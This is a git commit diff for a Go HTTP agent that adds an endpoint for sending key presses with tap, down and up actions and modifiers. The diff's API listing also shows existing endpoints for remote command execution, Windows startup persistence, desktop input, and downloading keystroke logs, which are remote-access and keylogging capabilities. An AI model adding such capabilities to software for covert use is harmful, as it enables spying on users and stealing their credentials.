Add key input handling functionality to the agent. Implement API endpoint for sending key presses with support for action types (tap, down, up) and modifiers. Update web interface to allow users to send keys and toggle modifier states through a new interactive element.
This commit is contained in:
@@ -49,6 +49,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
"/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}},
|
||||
"/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
|
||||
"/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}},
|
||||
"/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}},
|
||||
"/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}},
|
||||
"/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}},
|
||||
"/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}},
|
||||
@@ -377,6 +378,44 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
}
|
||||
|
||||
func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var request models.KeyRequest
|
||||
decoder := json.NewDecoder(r.Body)
|
||||
decoder.DisallowUnknownFields()
|
||||
if err := decoder.Decode(&request); err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "body must contain a key")
|
||||
return
|
||||
}
|
||||
if request.Key == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "key is required")
|
||||
return
|
||||
}
|
||||
action := strings.ToLower(strings.TrimSpace(request.Action))
|
||||
if action == "" {
|
||||
action = "tap"
|
||||
}
|
||||
if action != "tap" && action != "down" && action != "up" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up")
|
||||
return
|
||||
}
|
||||
if err := input.PressKey(request.Key, action, request.Modifiers); err != nil {
|
||||
if errors.Is(err, input.ErrBadKey) {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.Log.Printf("key: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not send key")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action})
|
||||
}
|
||||
|
||||
func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
Reference in New Issue
Block a user